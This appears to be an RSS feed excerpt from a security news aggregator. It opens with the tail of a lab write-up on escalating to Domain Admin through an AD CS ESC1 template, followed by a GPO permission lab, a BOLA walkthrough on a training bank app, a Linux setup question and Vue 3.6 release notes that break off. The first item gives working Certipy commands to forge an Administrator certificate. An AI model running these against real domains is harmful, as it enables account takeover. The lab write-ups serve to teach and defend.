<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IwcmPEl9c14DK-2hWY1W1g.png"></figure><h3>What is AD CS?</h3><p><strong>Active Directory Certificate Services (AD CS)</strong> allows users and computers to obtain certificates for authentication, encryption, and other services.</p><p>If certificate templates are misconfigured, attackers can request certificates for <strong>other users</strong>, including <strong>Domain Administrators</strong>, leading to privilege escalation.</p><p>In this lab, I exploited an <strong>ESC1</strong> certificate template misconfiguration.</p><h3>Lab Setup</h3><ul><li><strong>Domain:</strong> LAB.LOCAL</li><li><strong>Domain Controller:</strong> 192.168.56.104</li><li><strong>Certificate Authority:</strong> lab-DC1-CA</li><li><strong>Attacker:</strong> bob</li></ul><h3>Step 1 — Enumerate AD CS</h3><p>First, I looked for vulnerable certificate templates using <strong>Certipy</strong>.</p><pre>certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug</pre><p>Certipy identified a vulnerable template named:</p><pre>ESC1-Lab</pre><p>This template allowed the requester to specify an arbitrary <strong>User Principal Name (UPN)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMCsemUil50u2bqrh-1jHA.png"></figure><h3>Step 2 — Request an Administrator Certificate</h3><p>Since the template was vulnerable, I requested a certificate while impersonating the <strong>Administrator</strong> account.</p><pre>certipy-ad req -u bob@lab.local -p 'Password@123' -ca lab-DC1-CA -template ESC1-Lab -upn Administrator@lab.local -dc-ip 192.168.56.104</pre><p>Certipy successfully issued an <strong>Administrator certificate</strong> and saved it as:</p><pre>administrator.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-_feIP7X-uB2A68CtwlfQA.png"></figure><h3>Step 3 — Authenticate as Administrator</h3><p>Finally, I authenticated using the issued certificate.</p><pre>certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104</pre><p>Authentication succeeded, allowing me to impersonate the <strong>Domain Administrator</strong> without ever knowing the Administrator’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vh8aenq802cDnuJT2GG2rQ.png"></figure><h3>Why Did This Work?</h3><p>The certificate template was vulnerable to <strong>ESC1</strong> because it:</p><ul><li>Allowed users to enroll.</li><li>Allowed the requester to supply any UPN.</li><li>Was trusted for client authentication.</li></ul><p>This meant Bob could request a certificate for <strong>Administrator@lab.local</strong> and authenticate as that user.</p><h3>How to Fix It</h3><p>To prevent ESC1 attacks:</p><p>1.Disable <strong>“Supply in the request”</strong> unless absolutely necessary.</p><p>2. Restrict enrollment permissions to trusted users.</p><p>3. Review certificate templates regularly.</p><p>4. Remove unnecessary Client Authentication EKUs.</p><p>5. Audit AD CS with tools like <strong>Certipy</strong> and <strong>BloodHound</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*nXg7Fgi0SkhyFf5sYadGyg.png"></figure><h3>Verify the Fix</h3><p>Run the enumeration again.</p><pre>certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -vulnerable</pre><p>If the template is properly secured, <strong>ESC1-Lab</strong> should no longer appear as vulnerable.</p><h3>Key Takeaways</h3><p>1. Regularly audit AD CS templates.</p><p>2. Follow the principle of least privilege.</p><p>3. Restrict certificate enrollment permissions.</p><p>4. Monitor certificate enrollment events.</p><blockquote><strong><em>Disclaimer:</em></strong><em> This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization.</em></blockquote><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a86cc69aed5a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it-a86cc69aed5a">How I Escalated to Domain Admin Using AD CS (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It)]]></title>
<description><![CDATA[Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.But if the wrong user has control over a GPO, it can become an easy privilege escalation path.In this lab, I’ll use BloodHound to identify...]]></description>
<link>https://tsecurity.de/de/3677783/hacking/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677783/hacking/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:16 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYSV94Q4TKE53NHop9sBDw.png"></figure><p>Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.</p><p>But if the wrong user has control over a GPO, it can become an easy privilege escalation path.</p><p>In this lab, I’ll use <strong>BloodHound</strong> to identify a dangerous GPO permission and then show how to fix it.</p><h3>Lab Setup</h3><ul><li><strong>Domain:</strong> LAB.LOCAL</li><li><strong>Domain Controller:</strong> 192.168.56.104</li><li><strong>Attacker:</strong> Kali Linux</li><li><strong>User:</strong> bob</li></ul><h3>Step 1 — Collect Active Directory Data</h3><p>First, I collected information from Active Directory using <strong>BloodHound.py</strong>.</p><pre>bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip</pre><p>BloodHound successfully collected:</p><ul><li>8 Users</li><li>55 Groups</li><li>3 GPOs</li><li>2 OUs</li><li>1 Computer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jA0bN8_u-FCRSuDjOdIbFg.png"></figure><h3>Step 2 — Import into BloodHound</h3><p>Next, I uploaded the generated ZIP file into BloodHound Community Edition.</p><p>BloodHound maps relationships between users, groups, computers, OUs, and GPOs, making it much easier to spot privilege escalation paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0gcQnP34CNfRQp0qFv4hw.png"></figure><h3>Step 3 — Finding the Misconfiguration</h3><p>BloodHound showed that <strong>Bob</strong> had <strong>WriteDacl</strong>, <strong>WriteOwner</strong>, and <strong>GenericWrite</strong> permissions over the <strong>Employees Policy</strong> GPO.</p><p>These permissions are dangerous because they allow a user to modify who controls the GPO or change its configuration.</p><h3>Why Is This Dangerous?</h3><p>If an attacker can edit a GPO linked to an Organizational Unit (OU), they may be able to:</p><ul><li>Execute scripts on domain computers</li><li>Deploy scheduled tasks</li><li>Add users to local Administrators</li><li>Push malicious registry changes</li><li>Gain higher privileges across the domain</li></ul><p>A single misconfigured GPO can impact many systems at once.</p><h3>Step 4 — Fixing the Issue</h3><p>On the Domain Controller:</p><pre>Group Policy Management<br>        ↓<br>Employees Policy<br>        ↓<br>Delegation</pre><p>Review who has permissions on the GPO.</p><p>Remove unnecessary permissions such as:</p><ul><li>GenericWrite</li><li>misconfiguredWriteDacl</li><li>WriteOwner</li></ul><p>Only trusted administrators should have these rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*FC8s8UA4FIWW0lay8j9Ikw.png"></figure><h3>Verify the Fix</h3><p>Run BloodHound again after updating the permissions.</p><pre>bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip</pre><p>Re-import the ZIP into BloodHound.</p><p>The dangerous permission edges should no longer appear for <strong>Bob</strong>.</p><h3>Key Takeaways</h3><p>1.Regularly audit GPO permissions.</p><p>2. Use the principle of least privilege.</p><p>3. Review BloodHound findings periodically.</p><p>4. Remove unnecessary <strong>GenericWrite</strong>, <strong>WriteDacl</strong>, and <strong>WriteOwner</strong> permissions.</p><blockquote><strong><em>Disclaimer:</em></strong><em> </em>The techniques demonstrated in this article were performed in a private Active Directory lab for learning purposes. Always obtain proper authorization before testing any production environment.</blockquote><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=5d59c031e602" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it-5d59c031e602">How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem]]></title>
<description><![CDATA[A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBankVulnBankThere’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’...]]></description>
<link>https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:50 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBank</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTehjKwtISkTLR8KwRRrRw.png"><figcaption>VulnBank</figcaption></figure><p>There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually <em>did</em>. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.</p><p>This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in <strong>VulnBank</strong>, an intentionally vulnerable banking application built for security training.</p><h3>What Is BOLA, Actually?</h3><p>Broken Object Level Authorization sits at <strong>#1 </strong>on the <strong>OWASP API Security Top 10 </strong>(API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.</p><p>The core idea in one sentence: <strong>the server correctly checks who you are, but never checks what you’re allowed to touch.</strong></p><p>Any API endpoint that takes an object identifier — a <strong>card_id</strong>, <strong>account_number</strong>, <strong>order_id </strong>— needs to answer two separate questions:</p><ol><li><strong>Authentication: </strong>is this a valid, logged-in user?</li><li><strong>Authorization: </strong>should <em>this </em><strong><em>specific user</em> </strong>be allowed to access <em>this specific object</em>?</li></ol><p>BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.</p><p>The vulnerable version:</p><pre>SELECT * FROM cards WHERE id = :card_id</pre><p>The fixed version:</p><pre>SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id</pre><p>That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.</p><p>So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.</p><h3>Setting the Stage: Two Users, Two Cards</h3><p>Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.</p><h3><strong>User 1 — Jhonny</strong></h3><ul><li>I created a virtual card with a <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*IzNdvQ1HNkbGSk9AEz70FQ.png"><figcaption>Jhonny’s Virtual Card</figcaption></figure><ul><li>I then funded it with <strong>$80 </strong>from the main balance.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*yyZLbn89enTTeEBs4gSKow.png"><figcaption>Funding the card</figcaption></figure><p>With the funding request captured in <strong>Burp Suite</strong>, I sent it to Repeater for closer inspection, this is the request whose <strong>card_id </strong>parameter would become the centerpiece of the whole test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EKOsjOROq-GWkyoTOSyHNw.png"><figcaption>Jhonny Card Request in Burp</figcaption></figure><h3><strong>User 2 — Alex</strong></h3><p>Same setup:</p><ul><li>A fresh virtual card of <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*A-bryCWIEKgcBWvJSyHgGQ.png"><figcaption>Alex’s Virtual Card</figcaption></figure><ul><li>Funded with $100.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*H-zuUIktIse3J_FkKY4iRg.png"><figcaption>Funding Alex’s card</figcaption></figure><ul><li>And the same treatment — captured the request and sent it to Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhtrbarCUBXaggWB7u-YBw.png"><figcaption>Alex’s Card Request in Burp</figcaption></figure><p>Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.</p><h3>Step One: Does the App Even Check Who You Are?</h3><p>Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkZ3P_vd-a31Bxve6I1kMw.png"><figcaption>Token error (Authentication enabled)</figcaption></figure><p><strong>401 Unauthorized: "Token is missing."</strong></p><p>Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check <strong><em>which</em> </strong>authenticated user is making the request, or just <strong><em>that</em> </strong>one is?</p><h3>Step Two: The Swap</h3><p>This is the actual test, and it’s almost anticlimactic in how simple it is.</p><p>I took <strong>Jhonny’s</strong> valid token and used it to fund <strong>Alex’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pM9M7X-q1bMfJng1TcsNqA.png"><figcaption>Funding Alex’s card with Jhonny’s Token</figcaption></figure><p><strong>200 OK.</strong> The card funded successfully with Jhonny's session authorizing a change to Alex's card.</p><p>Then I reversed it, <strong>Alex’s</strong> token, aimed at <strong>Jhonny’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5Qqk7A4XKvrvCkqyXgRFQ.png"><figcaption>Funding Jhonny’s card with Alex’s Token</figcaption></figure><p><strong>200 OK</strong> again. Same result, opposite direction.</p><p>Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever <strong>card_id </strong>showed up in the URL, against whichever authenticated user happened to be making the call.</p><h3>Why This Isn’t “Just a Feature”</h3><p>The first pushback any BOLA finding gets is: <strong><em>“Couldn’t this just be an intentional transfer feature?”</em></strong></p><p>It’s a fair question, and worth addressing directly.</p><p>The answer is <strong>NO</strong>, for a few concrete reasons:</p><ul><li>There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.</li><li>Neither Jhonny nor Alex received any notification or gave any consent.</li><li>The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.</li><li>Both requests used each user’s <em>own</em> main balance and <em>own</em> token throughout, nothing about the flow resembled a designed transfer mechanism.</li></ul><p>A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.</p><h3>The Fix</h3><p>The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:</p><ul><li>Every object-level query needs an explicit ownership check tied to the authenticated session: <strong>WHERE card_id = ? AND user_id = ?</strong></li><li>Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint</li><li>Make cross-account testing a standard part of QA and code review: test with <strong>two different authenticated accounts</strong> against each other’s objects, not just each account against its own.</li></ul><h3>The Takeaway</h3><p>BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.</p><p>In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.</p><p>Authentication tells a server <em>who</em> is asking. Authorization is the separate and often forgotten question of <strong><em>what they’re allowed to ask for?</em></strong>. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.</p><p><em>This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a3bfc069a8b9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-funded-a-strangers-bank-card-with-my-own-money-and-that-s-exactly-the-problem-a3bfc069a8b9">I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Installing Ubuntu 24.04 on corporate laptop Dell Pro 16 Plus PB16255 (AMD) with window-manager: need the practical advise, tips and what setup people are doing!]]></title>
<description><![CDATA[I’m setting up my corporate/work laptop with Ubuntu 24.04 and need disk encryption as per policy. Specs:  Dell PB16255: AMD Ryzen 7 AI 350 Pro, 32 GB RAM, 1 TB NVMe SSD Planning to use Sway WM / Wayland instead of GNOME  I want a setup that is secure, simple, and flexible. I want to be aware what...]]></description>
<link>https://tsecurity.de/de/3677361/linux-tipps/installing-ubuntu-2404-on-corporate-laptop-dell-pro-16-plus-pb16255-amd-with-window-manager-need-the-practical-advise-tips-and-what-setup-people-are-doing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677361/linux-tipps/installing-ubuntu-2404-on-corporate-laptop-dell-pro-16-plus-pb16255-amd-with-window-manager-need-the-practical-advise-tips-and-what-setup-people-are-doing/</guid>
<pubDate>Sat, 18 Jul 2026 04:39:52 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I’m setting up my corporate/work laptop with Ubuntu 24.04 and need disk encryption as per policy.</p> <p><strong>Specs:</strong></p> <ul> <li>Dell PB16255: AMD Ryzen 7 AI 350 Pro, 32 GB RAM, 1 TB NVMe SSD</li> <li>Planning to use Sway WM / Wayland instead of GNOME</li> </ul> <p>I want a setup that is secure, simple, and flexible. I want to be aware what others are doing and how I can improve my game.</p> <p><strong>Questions</strong>:</p> <ul> <li>Should I use Ubuntu’s guided LUKS encryption, or manual LUKS partitioning?</li> <li>Recommended filesystem, partition scheme, layout for 1 TB NVMe? <ul> <li><code>/</code>, <code>/home</code> or <code>/data</code>, swap, EFI, <code>/boot</code></li> </ul></li> <li>Is separate <code>/home</code> better, and best way with encrypted disk?</li> <li>With 32 GB RAM, should I use swap, zram, or plan for hibernation?</li> <li>Data backup tool?</li> <li>Any tips for Ubuntu 24.04 on newer AMD Ryzen AI hardware?</li> <li>Recommended window manager? I was i3wm user. So preferring sway (due to wayland). any other recommendation?</li> <li>Other recommendation on Terminal emulator, file-manager etc.?</li> </ul> <p>Would appreciate practical advice and pitfalls to avoid.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Former-Direction9969"> /u/Former-Direction9969 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uy1bsn/installing_ubuntu_2404_on_corporate_laptop_dell/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uy1bsn/installing_ubuntu_2404_on_corporate_laptop_dell/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Install Claude Desktop App on Linux: Complete Setup Guide (2026)]]></title>
<description><![CDATA[Claude Desktop just launched on Linux in beta. Install it on Ubuntu, Fedora, and Arch with verified steps from live VM testing. We cover all three Linux ecosystems, Claude Code terminal integration, system requirements, pricing breakdown, privacy considerations, and troubleshooting common issues ...]]></description>
<link>https://tsecurity.de/de/3677352/linux-tipps/how-to-install-claude-desktop-app-on-linux-complete-setup-guide-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677352/linux-tipps/how-to-install-claude-desktop-app-on-linux-complete-setup-guide-2026/</guid>
<pubDate>Sat, 18 Jul 2026 04:39:40 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Claude Desktop just launched on Linux in beta. Install it on Ubuntu, Fedora, and Arch with verified steps from live VM testing. We cover all three Linux ecosystems, Claude Code terminal integration, system requirements, pricing breakdown, privacy considerations, and troubleshooting common issues on Wayland and X11 desktop environments right now.]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.6.0-rc.1]]></title>
<description><![CDATA[Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.
3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.
For more details about Vapor Mode, se...]]></description>
<link>https://tsecurity.de/de/3677302/downloads/v360-rc1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677302/downloads/v360-rc1/</guid>
<pubDate>Sat, 18 Jul 2026 03:16:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.</p>
<p>3.6 also includes a major refactor of <code>@vue/reactivity</code> based on <a href="https://github.com/stackblitz/alien-signals">alien-signals</a>, which significantly improves the reactivity system's performance and memory usage.</p>
<p>For more details about Vapor Mode, see the <a href="https://github.com/vuejs/core/releases/tag/v3.6.0-rc.1#about-vapor-mode">About Vapor Mode</a> section later in this release note.</p>
<h3>Bug Fixes</h3>
<ul>
<li><strong>hydration:</strong> avoid resolving inherited fallback in forwarded slots (<a href="https://github.com/vuejs/core/commit/4c215b5bd293e18f3a4c62b627a7696016afb982">4c215b5</a>)</li>
<li><strong>hydration:</strong> remove adopted SSR DOM for unresolved async setup (<a href="https://github.com/vuejs/core/commit/3859af4066edeba647e886decb9b4737d7f371cc">3859af4</a>)</li>
<li><strong>runtime-vapor:</strong> avoid patching invalid VNode slot content (<a href="https://github.com/vuejs/core/commit/25f5a8ae6ed3df9c4e3fbaed0da32ce0466c5612">25f5a8a</a>)</li>
<li><strong>runtime-vapor:</strong> clean up detached slot branches (<a href="https://github.com/vuejs/core/commit/b41009d41b21c98174b214eebd271d456215d177">b41009d</a>)</li>
<li><strong>runtime-vapor:</strong> defer slot content anchors during hydration (<a href="https://github.com/vuejs/core/commit/9b9e4bd6efdbce7de258d27e88155bff657d6ae9">9b9e4bd</a>)</li>
<li><strong>runtime-vapor:</strong> preserve outer pending slot anchors (<a href="https://github.com/vuejs/core/commit/4af4bf92a46426631ed6323e542227855b2fc86f">4af4bf9</a>)</li>
<li><strong>runtime-vapor:</strong> preserve slot content anchors during mismatch recovery (<a href="https://github.com/vuejs/core/commit/26f90b58977ee84569b5599700dbe9e864c880a4">26f90b5</a>)</li>
<li><strong>runtime-vapor:</strong> preserve v-show transition on vdom child (<a href="https://github.com/vuejs/core/issues/15074" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15074/hovercard">#15074</a>) (<a href="https://github.com/vuejs/core/commit/fe882c93bb3ec37772126de1cb5c646edb56ace4">fe882c9</a>), closes <a href="https://github.com/vuejs/core/issues/15073" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15073/hovercard">#15073</a></li>
<li><strong>runtime-vapor:</strong> preserve vapor slot owner during interop slot dry run (<a href="https://github.com/vuejs/core/issues/15031" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15031/hovercard">#15031</a>) (<a href="https://github.com/vuejs/core/commit/340630ea37388e12f176a11cadcbdfe8e55e5912">340630e</a>)</li>
<li><strong>runtime-vapor:</strong> preserve VNode anchors in dynamic component hydration (<a href="https://github.com/vuejs/core/commit/898e2ca2441ea3ac064f3b38db47a0aa1b7a556d">898e2ca</a>)</li>
<li><strong>runtime-vapor:</strong> remove unsafe slot dry runs from vdom interop (<a href="https://github.com/vuejs/core/issues/15089" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15089/hovercard">#15089</a>) (<a href="https://github.com/vuejs/core/commit/3d42cdf380b23da000de0ff9d6c3de5d77e0b0d1">3d42cdf</a>), closes <a href="https://github.com/vuejs/core/issues/14793" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/14793/hovercard">#14793</a></li>
<li><strong>runtime-vapor:</strong> reuse hydration anchor candidates (<a href="https://github.com/vuejs/core/commit/06778e705aa87e35f6058c575c562c355a365523">06778e7</a>)</li>
<li><strong>vapor:</strong> handle v-if and v-show on transition roots (<a href="https://github.com/vuejs/core/issues/15069" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15069/hovercard">#15069</a>) (<a href="https://github.com/vuejs/core/commit/8f62f2e57519dcb80c9b3b42588c77ee6d2b0a2f">8f62f2e</a>), closes <a href="https://github.com/vuejs/core/issues/15068" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15068/hovercard">#15068</a></li>
</ul>
<h2>About Vapor Mode</h2>
<p>Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.</p>
<p>It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.</p>
<p>Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in <a href="https://github.com/krausest/js-framework-benchmark">third-party benchmarks</a>.</p>
<h3>General Stability Notes</h3>
<p>Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:</p>
<ul>
<li>Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.</li>
<li>Building small new apps entirely in Vapor Mode.</li>
</ul>
<h2>Opting In to Vapor Mode</h2>
<p>Vapor Mode supports template-only SFCs and SFCs using <code>&lt;script setup&gt;</code>; the Options API is not supported. The following forms are supported:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p><code>&lt;script vapor&gt;</code> is shorthand for <code>&lt;script setup vapor&gt;</code>:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p>The <code>vapor</code> marker can also be placed on the template, enabling Vapor compilation for the entire SFC:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template vapor&gt;
  <!-- ... -->
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span> vapor&gt;
  <span class="pl-c"><span class="pl-c">&lt;!--</span> ... <span class="pl-c">--&gt;</span></span>
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h2>Creating an App and Using VDOM Interop</h2>
<h3>Pure Vapor Applications</h3>
<p>Applications composed entirely of Vapor components can use <code>createVaporApp()</code>:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createVaporApp</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

<span class="pl-en">createVaporApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.</p>
<h3>Enabling VDOM Interop</h3>
<p>To use Vapor components in a VDOM app instance created via <code>createApp()</code>, the <code>vaporInteropPlugin</code> must be installed:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createApp</span><span class="pl-kos">,</span> <span class="pl-s1">vaporInteropPlugin</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

